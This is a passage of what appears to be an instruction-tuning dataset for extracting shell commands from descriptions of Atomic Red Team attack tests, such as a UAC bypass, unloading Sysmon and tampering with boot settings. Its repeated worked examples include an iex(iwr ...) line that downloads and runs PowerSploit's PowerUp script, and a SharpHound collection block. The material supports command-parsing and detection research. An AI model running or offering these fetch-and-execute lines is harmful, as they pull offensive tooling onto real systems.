Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test modifies the BootExecute registry value to \"autocheck autoche *\", which can be used to simulate an adversary's attempt to tamper with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry to allow a driver, service, to persist in Safe Mode.\nsee https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.\nAdding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n /etc/passwd file is accessed in FreeBSD and Linux environments\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Allow BitLocker without a compatible TPM (requires a password)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,\nrun the prereq_command's and it should fail with an error of \"sysmon filter must be loaded\".\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Network Share Discovery\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privalages\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, 